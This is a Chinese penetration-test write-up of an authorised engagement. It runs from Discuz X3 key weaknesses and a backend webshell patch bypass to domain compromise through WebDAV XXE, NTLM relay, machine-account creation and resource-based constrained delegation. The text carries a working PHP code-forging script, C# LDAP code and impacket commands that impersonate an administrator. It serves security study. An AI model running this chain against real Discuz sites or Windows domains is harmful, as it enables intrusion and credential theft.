这是一篇“不一样”的真实渗透测试案例分析文章

2020-03-20 18:16:34 84 33617 34

0x00 前言

本文是由一次真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎,但不会进行详细的截图和描述,一是怕“有心人”发现端倪去目标复现漏洞和破坏,二是作为一线攻击人员,大家都明白渗透过程也是一个试错过程,针对某一个点我们可能尝试了无数种方法,最后写入文章的只有成功的一种,而这种方法很有可能也是众所周知的方法。因此我们只会简单介绍渗透流程,然后提取整个渗透过程中比较精华的点,以点及面来进行技术分析和探讨,望不同的人有不同的收获。

0x01 渗透流程简述

在接到项目以后,由“前端”小组(初步技术分析小组)进行项目分析和信息收集以及整理,整理出了一批域名和一些关键站点,其中有一个phpmyadmin 和 discuz的组合建站,且均暴露在外网,这也是很常见的一种情况。由于网站某个web端口的解析配置问题导致了php不被解析而形成任意文件下载漏洞,通过这个漏洞我们拿到了mysql的root账户密码。由于linux服务器权限设置比较严格的问题没法直接使用phpmyadmin登录mysql而提权拿到discuz的webshell。经过多种尝试我们利用phpmyadmin替换管理员hash而登录discuz后台,在discuz后台利用修改ucenter配置文件的漏洞写入了webshell。

在进入内网以后,通过简单的80、443探测内网的web时候发现了一个含有java webdav的服务(域内windows,后文中以A服务器称呼),利用java webdav的xxe去执行NTLM Relay。同时收集discuz数据库中用户名利用kerberos AS_REQ和密码喷射(一个密码和不同用户名的组合去KDC枚举)幸运的获得了一组域内用户的账户和密码,利用这个用户增加了一个机器账户。结合NTLM Relay和这个机器账户利用基于资源的约束委派,成功的使这个机器账户具有了控制A服务器的权限。登录A服务器绕过卡巴斯基抓取到了域管理密码,这次攻坚任务也因此而结束。图示如下:

在这次渗透流程中我们认为Discuz x3系列xxe到域控这两个点是值得拿出来分析和探讨的。

0x02 Discuz X3系列

本节分为3部分,首先将对Discuz X3以后的版本出现的主要漏洞做一个简单总结,然后针对discuz的几种密钥做一些分析,最后发布一个discuz最新的后台getshell

Discuz X3以后漏洞总结

目前市面上基本都是x3以上的Discuz程序了,x3以下的网站占比已经非常低了,因此在此只总结x3以上的漏洞。总结并不是对每个漏洞进行重新分析,这是没有必要的,网上已经有很多优秀的分析文章了。那我们为什么还要总结呢?如果你是在一线做渗透测试或者红队评估的同学,应该会经常遇到discuz,往往大部分同学一看程序版本再搜搜漏洞或者群里问问就放弃了。在大家的印象中discuz是一块硬骨头,没必要耗太多时间在它身上,但事实上discuz并不是你所想象的那么安全。本小节将通过总结discuz的各种小漏洞,再结合我们自己的几次对discuz目标的突破,提出一些利用思路和利用可能。

类型 适用版本 适用条件 利用分析 分析文章
SSRF <= x3.4 修复补丁 1.windows<br/>2.php>5.3+php-curl<=7.54<br/>3.DZ开放在80端口 SSRF的利用主要是攻击其他服务,大部分情况都需要利用到gopher协议<br/>在DZ中需要利用缓存(redis,memcache)getshell,当然gopher模拟的tcp协议,如果服务器或内网中存在其他的可利用服务也是可以精心构造数据表利用的。 1.Discuz x3.4前台SSRF分析<br/>2.DiscuzX 两处 SSRF 挖掘及利用<br/>3.Discuz!因Memcached未授权访问导致的RCE
任意文件删除 <= x3.4<br/>修复补丁 前台用户权限 Discuz 在安装成功后,登陆后台就会删除安装文件,所以重装利用是不能实现的。<br/>现实中的主要利用集中于删除index.htm文件,再利用目录遍历去获取备份文件,通过备份文件中的各种敏感信息(各种KEY,hash),然后再进一步利用。 Discuz!X ≤3.4 任意文件删除漏洞分析
短文件名 漏洞 未修复 windows 看似是比较鸡肋的小技巧,但在猜一些随机命令的文件名时非常有用,比如:利用短文件名我们可以下载数据库备份文件(文件名中含有随机字符),利用备份文件我们可以尝试解密用户密码。 https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9
authkey 预测 <x 3.4 问题的本质在于mt_rand() 在同一个进程中共享随机数种子。利用猜解的authkey我们可以破解discuz主题功能的加密校验过程 Discuz_X authkey安全性漏洞分析
后台sql注入 <=3.4<br/>修复补丁 后台权限 discuz后台已经具备数据库备份功能,所以select 注入作用将减小很多,该漏洞的最大意义在于mysql较低版本的写文件getshell(这里向discuz备份目录写也不行,因为discuz的mkdir设置的0777,但是受到umask的影响,实际写入的是0755,所以写文件也比较困难),但由于x3后台没有了直接执行sql的功能,如果有一个注入,我们可以夸库查询,搞定同mysql的其他网站。 Discuz! X系列全版本后台Sql注入漏洞
后台注入漏洞 <=3.4<br/>修复补丁 后台权限 由于是update型注入,我们在后台已经可以利用数据库备份获得数据,对本网站意义不大,但是有同mysql的其他网站,如果权限不严,夸库查询,搞定同mysql的其他网站。 SQL注入
后台设置mysql任意文件读取 <=3.4<br/>修复补丁 后台权限 通过文件读取后,我们可以结合uc_key、authkey等key的利用。 Mysql任意文件读取攻击链拓展
后台命令执行 1.5-2.5<br/>修复补丁 后台权限 这个漏洞是命令注入漏洞,但是由于开发者的失误,导致3.x不可用。漏洞本身也是在x3.4才被修复 CVE-2018-14729
Memcached未授权访问导致的RCE <=3.4 memcached 权限 需要memcached的修改权限,这个权限可以来自于ssrf,也可以来自于未授权 Discuz!因Memcached未授权访问导致的RCE
Discuz! X3.1后台任意代码执行 <=x3.1 后台权限 x3.1中间版本的getshell方法,用作参考 Discuz! X3.1后台任意代码执行
后台uc_center代码执行 < 3.4<br/>修复补丁 后台权限 利用分析请看下面的文章内容 本文分析

总结:

  • 针对于discuz的ssrf漏洞,在补丁 中限制了对内网ip的访问,导致了很难被利用。
  • 在后台getshell中,建议使用uc_center rce比较方便,并且通杀包括最新版本,后文有分析。
  • UC_KEY 直接getshell已在x3以上的最新版本被修复,但在一些老的3.2以前的版本可能被利用。

以上这些漏洞应该并不全面,且看似都比较鸡肋,但往往千里之堤毁于蚁穴,几个不起眼的小漏洞组合一下会发现威力巨大。仔细的读者应该发现以上漏洞大部分能够造成的最大危害是信息泄露,信息泄露有什么用呢?下面我们将接着分析Discuz的几种密钥,看到这儿你应该已经明白了,通过信息泄露,获得相关密钥,突破discuz的加密体系,进而获取更高的权限。

Discuz的几种密钥分析

通过分析,在discuz中,主要有下面的几种密钥, 这些密钥共同构成了discuz的加密解密体系,这里的命名有重复,我已经标记了对应key值以及key所在的位置。如下表所示:

主要探讨的其实就只有 authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY,authkey(uc_server) 5种,我们首先来看着几个密钥是怎么来的最后又到了哪儿去。

密钥的产生

authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY 都是在安装的时候产生。authkey(uc_server)的产生是和UC_MYKEY息息相关的,在后文中详细讲述。生成代码如下所示:

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/install/index.php
<?php
...
                $uid = DZUCFULL ? 1 : $adminuser['uid'];
                $authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
                $_config['db'][1]['dbhost'] = $dbhost;
                $_config['db'][1]['dbname'] = $dbname;
                $_config['db'][1]['dbpw'] = $dbpw;
                $_config['db'][1]['dbuser'] = $dbuser;
                $_config['db'][1]['tablepre'] = $tablepre;
                $_config['admincp']['founder'] = (string)$uid;
                $_config['security']['authkey'] = $authkey;
                $_config['cookie']['cookiepre'] = random(4).'_';
                $_config['memory']['prefix'] = random(6).'_';

                save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

                $db = new dbstuff;

                $db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);

                if(!VIEW_OFF) {
                        show_header();
                        show_install();
                }

                if(DZUCFULL) {
                        install_uc_server();
                }
...

                $db->query("REPLACE INTO {$tablepre}common_setting (skey, svalue) VALUES ('authkey', '$authkey')");
...
?>

我们看见key的产生都依赖于discuz 自定义的random函数,出现过的authkey爆破问题也因此产生。在安装时由于处于同一个cgi进程,导致mt_rand() 只播种了一次种子,所以产生了随机数种子爆破和推测key的问题,在3.4版本中,authkey的产生已经是拼接了完整的32位字符串,导致了无法进行爆破推算出authkey的前半部,因此这个问题已经被修复,但这个漏洞原理值得学习。代码最后可以看出authkey产生后还放入了数据库中,最终authkey存在于数据库pre_common_setting表和/config/config_global.php配置文件。 代码中的 instal_uc_server()函数实现了UC_KEY(dz),UC_KEY(uc_server)的产生,使用了同一个生成函数_generate_key(),代码如下:

function _generate_key() {
 $random = random(32);
 $info = md5($_SERVER['SERVER_SOFTWARE'].$_SERVER['SERVER_NAME'].$_SERVER['SERVER_ADDR'].$_SERVER['SERVER_PORT'].$_SERVER['HTTP_USER_AGENT'].time());
 $return = array();
 for($i=0; $i<32; $i++) {
  $return[$i] = $random[$i].$info[$i];
 }
 return implode('', $return);
}

产生的算法牵扯到安装环境和安装过程的http header信息,导致爆破基本失效,从而无法预测,最后UC_KEY(dz)保存到了/config/config_ucenter.php中,UC_KEY(uc_server)保存到了/uc_server/data/config.inc.php中。

Discuz Key的相关思考

我们通过查看源码,去分析每个key影响的功能,通过这些功能点,我们可以去获得更多的信息。信息的整合和利用往往是我们渗透的关键。下面我们将做一些抛砖引玉的思考并举一些例子,但不会面面俱到一一分析,这样也没有意义,具体的代码还是需要读者自己亲自去读才能印象深刻。

1. authkey

authkey的使用在discuz主程序中占比很重,主要用户数据的加密存储和解密使用,比如alipay相关支付数据的存储和使用、FTP密码的存储等等;还用于一些功能的校验,比如验证码的校验、上传hash的校验等等;用户权限的校验也用到了authkey,比如source/class/discuz/discuz_application.php_init_user() 利用authkey解码了cookie中的auth字段,并利用解开的uid和pw进行权限校验,但是光知道authkey并不能完成权限校验,我们还需要知道用户的”密码hash“(数据库pre_common_member表中的password字段,此处存储的只是一个随机值的md5,真正的用户密码hash在pre_ucenter_members中),当我们通过其他方法可以读取数据库数据时,我们就可以伪造登陆信息进行登陆,再比如source/include/misc/misc_emailcheck.php中authkey的参与了校验hash的生成,当我们知道了authkey后,通过伪造hash,我们可以修改用户的注册邮箱,然后利用密码找回来登陆前台用户(管理员不能使用密码找回功能)。

2. UC_KEY(dz)

UC_KEY(dz)也是经常提到的UC_KEY GetWebShell的主角。它主要在2个地方被使用:一个是数据库备份api/db/dbbak.php;一个是针对用户以及登录和缓存文件相关的操作,主要函数位于api/uc.php中的uc_note类。

关于UC_KEY(dz)的利用,网上基本都是通过uc.php来GetWebShell,但这个漏洞在新版本已经被修复了。UC_KEY(dz)的利用并不局限与此,你去阅读dbbak.php代码就会发现,有了UC_KEY(dz)我们可以直接备份数据库,下载数据库,从数据库中找到相关信息进行进一步渗透。

另外一个地方就是uc_note类,比如里面的synlogin()函数可以伪造登陆任意前台用户。当然还有其他的函数,在这里就不一一分析。

3. UC_KEY(uc_server)

UC_KEY(uc_server)往往是被大家忽视的一个key,它其实比UC_KEY(dz)的使用更多。首先他同样可以备份数据库,对discuz代码比较熟悉的同学应该知道dbbak.php这个文件有2个,一个是上面提到的api/db/dbbak.php;另外一个是uc_server/api/dbbak.php,他们的代码可以说几乎相同。唯一的区别是api/db/dbbak.php中多了2个常量的定义,基本没有太大影响。这个2个文件都能被UC_KEY(dz)和UC_KEY(uc_server)操控。

UC_KEY(uc_server)几乎管控了Ucenter的所有和权限认证相关的功能。例如权限验证函数 sid_decode() ,在该函数中UC_KEY(uc_server)和用户可控的http header共同产生了用于权限认证的sid,因此我们可以伪造sid绕过一些权限检测。还有seccode的相关利用,在这里就不一一介绍。

整个discuz的程序其实是包含了discuz主程序和Ucenter,Ucenter更依赖于固定密钥体系,个人感觉Ucenter的漏洞可能要比discuz主程序好挖些,你可以去试试。

4. UC_MYKEY

UC_MYKEY主要用来加密和解密UC_KEY(discuz),如下所示:

UC_KEY(dz) ----- authcode(UC_MYKEY, ENCODE) ----> authkey(uc_server)

authkey(uc_server) ----- authcode(UC_MYKEY, DECODE) ----> UC_KEY(dz)

authkey(uc_server)存储在数据库的pre_ucenter_applications中的authkey字段,authkey(uc_server)生成的代码如下:

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/uc_server/control/admin/app.php
<?php
...
                        $authkey = getgpc('authkey', 'P');
                        $authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);
                        $synlogin = getgpc('synlogin', 'P');
...
                        $app = $this->db->result_first("SELECT COUNT(*) FROM ".UC_DBTABLEPRE."applications WHERE name='$name'");
                        if($app) {
                                $this->message('app_add_name_invalid', 'BACK');
                        } else {
                                $extra = serialize(array('apppath'=> getgpc('apppath', 'P')));
                                $this->db->query("INSERT INTO ".UC_DBTABLEPRE."applications SET name='$name', url='$url', ip='$ip',
                                        viewprourl='$viewprourl', apifilename='$apifilename', authkey='$authkey', synlogin='$synlogin',
                                        type='$type', recvnote='$recvnote', extra='$extra',
                                        tagtemplates='$tagtemplates'");
                                $appid = $this->db->insert_id();
                        }
...
?>

现在我们就可以知道其实UC_KEY(dz)是可以从2个地方获取到的,一个是配置文件,一个是数据库。对discuz比较熟悉的同学这里会发现一个问题,通过注入获得的authkey (uc_server),有时候可以直接当UC_KEY(dz)用,但有时候发现是一个大于64位的字符串或小于64位的字符串。这个是因为,如果你是默认discuz主程序和Ucenter安装,这个时候数据库pre_ucenter_applications中的authkey字段存储的就是UC_KEY(dz),如果你通过ucenter后台修改过UC_KEY(dz),数据库pre_ucenter_applications中的authkey字段存储的就是通过上面提到的算法计算出来的结果了,这个结果的长度是变化的,是一个大于等于40位的字符串。

总结

针对于getshell来说,在x3以前的低版本和部分未更新的x3.2以前版本,我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:

  1. 数据库中的authkey(uc_server)结合UC_MYKEY,这个在UCenter后台也能看见,没有使用*显示。
  2. 文件泄露等问题获得uc_key(dz)

在x3版本以后,对于key的利用主要集中在操作数据库和UCenter功能上,利用各种办法进入discuz后台,结合接下来讲到的后台GetWebShell的方法获取最终权限。

后台GetWebShell的补丁绕过

在小于x3.4的版本中,网上已经公布的利用方法是:后台修改Ucenter数据库连接信息,由于写入未转义,一句话木马直接写入config/config_ucenter.php文件中,导致代码执行。

但是在新版本的x3.4中已经修复了这个漏洞,代码如下:

// https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/source/admincp/admincp_setting.php  x3.4
<?php
...
  if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
    require_once './config/config_ucenter.php';

    $ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
    $settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);

    if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){
      cpmsg('uc_config_load_data_local_infile_error', '', 'error');
    }

    if($settingnew['uc']['connect']) {
      $uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);
      if(!$uc_dblink) {
        cpmsg('uc_database_connect_error', '', 'error');
      } else {
        if(function_exists("mysql_connect")) {
          mysql_close($uc_dblink);
        } else {
          $uc_dblink->close();
        }
      }
    }

    $fp = fopen('./config/config_ucenter.php', 'r');
    $configfile = fread($fp, filesize('./config/config_ucenter.php'));
    $configfile = trim($configfile);
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    fclose($fp);

    $connect = '';
    $settingnew['uc'] = daddslashes($settingnew['uc']);
    if($settingnew['uc']['connect']) {
      $connect = 'mysql';
      $samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
      $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
      $configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);
      $configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);
      $configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);
...
?>

补丁对 $ucdbpassnew 进行了转义,而且if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']), 该补丁还解决了恶意mysql文件读取的问题。

绕过补丁

通过补丁,我们知道了所有的Ucenter配置参数都会进行转义,但是我发现discuz的配置文件更改,都是利用字符替换完成的,在替换字符中,很容易出现问题,所以在源码中寻找配置修改的相关代码,最后在 api/uc.php 中找到了利用点。

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/api/uc.php
<?php

...
if(!defined('IN_UC')) {
  require_once '../source/class/class_core.php';

  $discuz = C::app();
  $discuz->init();

  require DISCUZ_ROOT.'./config/config_ucenter.php';

  $get = $post = array();

  $code = @$_GET['code'];
  parse_str(authcode($code, 'DECODE', UC_KEY), $get);

  if(time() - $get['time'] > 3600) {
    exit('Authracation has expiried');
  }
  if(empty($get)) {
    exit('Invalid Request');
  }

  include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
  $post = xml_unserialize(file_get_contents('php://input'));

  if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {
    $uc_note = new uc_note();
    echo call_user_func(array($uc_note, $get['action']), $get, $post);
    exit();
  } else {
    exit(API_RETURN_FAILED);
  }
} else {
  exit;
}
...
  function updateapps($get, $post) {
    global $_G;

    if(!API_UPDATEAPPS) {
      return API_RETURN_FORBIDDEN;
    }

    $UC_API = '';
    if($post['UC_API']) {
      $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
      unset($post['UC_API']);
    }

    $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';
    $fp = fopen($cachefile, 'w');
    $s = "<?php\r\n";
    $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
    fwrite($fp, $s);
    fclose($fp);

    if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {
      if(preg_match('/^https?:\/\//is', $UC_API)) {
        $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));
        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
        if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {
          @fwrite($fp, trim($configfile));
          @fclose($fp);
        }
      }
    }
    return API_RETURN_SUCCEED;
  }
...
?>

在 updateapps 函数中完成了对 uc_api 的更新,这里的正则在匹配时是非贪婪的,这里就会存在一个问题,当uc_api为 define('UC_API', 'http://127.0.0.1/discuz34/uc_server\');phpinfo();//'); 时,我们执行updateapps函数来更新uc_api时就会将phpinfo();释放出来。 要使用updateapps进行来更新uc_api,我们需要知道UC_KEY(dz)的值,而UC_KEY(dz)的值,恰好是我们后台可以设置的。

利用分析

  1. 进入后台站长-Ucenter设置,设置UC_KEY=随意(一定要记住,后面要用), UC_API= http://127.0.0.1/discuz34/uc_server');phpinfo();//

成功写进配置文件,这里单引号被转移了,我们接下来使用UC_KEY(dz)去调用api/uc.php中的updateapps函数更新UC_API。

  1. 利用UC_KEY(dz) 生成code参数,使用过UC_KEY(dz) GetWebShell的同学肯定不陌生,这里使用的UC_KEY(dz)就是上面我们设置的。

    <?php
    $uc_key="123456";//
    $time = time() + 720000;
    $str = "time=".$time."&action=updateapps";
    $code = authcode($str,"ENCODE",$uc_key);
    $code = str_replace('+','%2b',$code);
    $code = str_replace('/','%2f',$code);
    echo $code;
    
    function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
      $ckey_length = 4;
      $key = md5($key != '' ? $key : '123456');
      $keya = md5(substr($key, 0, 16));
      $keyb = md5(substr($key, 16, 16));
      $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    
      $cryptkey = $keya.md5($keya.$keyc);
      $key_length = strlen($cryptkey);
    
      $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
      $string_length = strlen($string);
    
      $result = '';
      $box = range(0, 255);
    
      $rndkey = array();
      for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
      }
    
      for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
      }
    
      for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
      }
    
      if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
          return substr($result, 26);
        } else {
          return '';
        }
      } else {
        return $keyc.str_replace('=', '', base64_encode($result));
      }
    }
    ?>
  2. 将生成的数据带入GET请求中的code 参数,发送数据包

  1. 访问 http://127.0.0.1/discuz34/config/config_ucenter.php 代码执行成功

到此成功GetWebShell,在这个过程中,有一点需要注意的是,我们修改了程序原有的UC_KEY(dz),成功GetWebShell以后一定要修复,有2中方法:

  1. 从数据库中读取authkey(uc_server),通过UC_MYKEY解密获得UC_KEY(dz),当然有可能authkey(uc_server)就是UC_KEY(dz)。
  2. 直接进入Ucenter后台修改UC_KEY,修改成我们GetWebShell过程中所设置的值。

0x03 XXE to 域控

在本节中我们会讲到WEBDAV XXE(JAVA)利用NTLM Relay和一个机器账户去设置基于资源的约束委派来RCE的故事。当然绕过卡巴斯基dump lsass也是非常的精彩。流程图示如下:

WEBDAV XXE

前文中已经提到了我们进入内网后发现一台部署着java应用的web服务器,并探测出该网站存在/webdav目录。

在一个国外安全研究员的ppt(What should a hacker know about WebDav? )中这样提到: 一般webdav支持多种http方法,而PROPPATCH、PROPFIND、 LOCK等方法接受XML作为输入时会形成xxe

我们探测下支持的http方法:

我们在测试PROPFIND方法时成功收到了xxe请求:

常规的xxe一般会想到任意文件读取、以及网上提到的利用gopher打redis等。在《Ghidra 从 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。

现在我们成功获取到了NTLM认证请求,接下来就是NTLM中继了。

NTLM中继和域机器账户添加

什么是NTLM中继

相信大家都不陌生,要理解什么是NTLM中继首先要知道NTLM认证的大致流程,这里做个简单讲述,详细请参考The NTLM Authentication Protocol and Security Support Provider

NTLM身份验证协议中包含3个步骤:

  1. 协商:NTLM身份验证的第一步是协议的协商,以及客户端支持哪些功能。在此阶段,客户端将身份验证请求发送到服务器,其中包括客户端接受的NTLM版本。
  2. 质询:服务器以自己的消息作为响应,指示其接受的NTLM版本以及要使用的功能。该消息还包括challenge值。
  3. 响应:收到challenge后客户端用hash将challenge加密,作为NTLM Response字段发送给服务器。

NTLM身份验证是基于质询响应的协议,服务器发送一个质询,客户端对这个质询进行回复。如果质询与服务器计算的质询匹配,则接受身份验证。

知道了NTLM身份认证的大致流程,我们再来说NTLM中继,如下图所示,如果我们可以让Client A 向我们的Evil Server X,发起NTLM认证,那么我们就可以拿Client A的身份验证信息去向Server B进行认证,这便是ntlm中继。看到这里你会觉得说了那么多不就是中间人攻击么,对就是中间人攻击。

知道了NTLM中继,结合Java WEBDAV XXE的作用,利用HTTP 401的认证,我们可以直接利用WEBDAV服务器的凭据向域控发起认证,让域控以为我们是WEBDAV服务器。

在域中增加机器账户

在这里可能有同学有疑问了,前面不是提了中继么?为什么不用Ghidra 从 XXE 到 RCEGhost Potato里提到的方式去Relay回自身调用RPC进行相关操作,还要增加机器账户呢?因为这个WEBDAV服务是system权限运行的,而system账户做Relay时是用机器账户去请求的,没有办法去调高权限RPC接口,所有这里不能直接Relay回自身调用RPC。

既然不能直接Relay回自身调用RPC,我们换一种思路,用基于资源约束委派一样可以获取权限

在通过基于资源约束委派进行利用时,需要有一个机器账户来配合(这里说法其实不太准确,应该是需要一个具有SPN的账户,更详细的说是需要一个账户的TGT,而一个机器账户来代替前面的说法,是因为机器账户默认具有一些SPN,这些SPN包含了我们后面会用到的cifs等,这里就不细说了,不然又是一篇文章了,后面统一用机器账户来描述),而默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。

那么问题又来了,既然需要一个机器账户,前面提到的

system账户做Relay时是用机器账户去请求

这个地方说的机器账户,也就是我们文中的WEBDAV服务器的机器账户,为什么不用这个机器账户,要自己去增加一个呢?了解基于资源约束委派的同学应该知道,我们需要用机器账户去申请TGT票据,但是我们如果用WEBDAV服务器的机器账户,我们不知道这个机器账户的密码或者hash。没有办法去申请TGT。如果是我们创建的机器账户,我们是知道密码的,这样才能去申请TGT了,这里就不在深入继续分析了,里面涉及到的过程极其复杂,有兴趣的同学可以自行学习。

回归正题,我们怎么在域中去创建一个机器账户。

我们把在之前的discuz数据库中的用户名整理成字典,并通过kerberos AS_REQ返回包来判断用户名是否存在。

接下来将discuz的密码拿到cmd5上批量解密,解密后发现大部分用户的登录密码都是P@ssw0rd,于是使用密码喷射(一个密码和不同用户名的组合去KDC枚举) ,成功获取到了一个域凭据[email protected]:P@ssw0rd

有了域凭据后就能连接域控ldap添加机器账户了,不得不说.net真是个好语言,用System.DirectoryServices.Protocols这个东西很轻松就能实现该功能。

...
//连接ldap
System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
System.DirectoryServices.Protocols.LdapConnection connection = null;

connection = new System.DirectoryServices.Protocols.LdapConnection(identifier,nc);

connection.SessionOptions.Sealing = true;
connection.SessionOptions.Signing = true;
connection.Bind();

var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)

connection.SendRequest(request);
Console.WriteLine("[+] Machine account: " + machine_account + " Password: "+ new_MachineAccount_password + " added");
...

有细心的同学看到这里可能会想: "用xxe中继到域控的ldap然后添加一个机器账户不是美滋滋? 哪需要这么花里胡哨的!"。但是域控不允许在未加密的连接上创建计算机帐户,这里关于加密涉及到tls/ssl和sasl,又是一堆的知识,这里就不细聊了。

用.net写的小工具很轻松地添加上了一个机器账户。

现在我们有了机器账户,接下来就利用基于资源的约束委派。

基于资源的约束委派

Windows Server 2012中新加入了基于kerberos资源的约束委派(rbcd),与传统的约束委派相比,它 不再需要域管理员对其进行配置,可以直接在机器账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派。此属性的作用是控制哪些用户可以模拟成域内任意用户,然后向该计算机(dev2)进行身份验证。简而言之: 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据,但该票据只对这台机器(dev2)生效,然后拿这张票据去对这台机器(dev2)进行认证(这里只是简单描述,可能不太准确,还是那句话基于资源的约束委派整个过程细节及其复杂,笔者也不敢说掌握全部细节)。

现在我们开始实际操作,首先在我们的VPS上利用impacket工具包中的ntlmrelayx.py工具监听。

./ntlmrelayx.py  -t ldap://ad1.blueteam.com -debug  -ip 192.168.20.140 --delegate-access --escalate-user evilpc\$

然后用xxe请求我们的VPS,接着将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派。

再用s4u协议申请高权限票据。

python getST.py -dc-ip ad1.blueteam.com blueteam/evilpc\$:123456 -spn cifs/dev1.blueteam.com -impersonate administrator

获得服务票据以后就可以直接登录WEBDAV服务器了

export KRB5CCNAME=administrator.ccache
python smbexec.py -no-pass -k dev1.blueteam.com

整个RCE过程到此结束了,但是还没有拿下域控,渗透任务还没有结束,先上一个GIF演示整个RCE过程,接下来再讲怎么拿下域控。

卡巴斯基的对抗

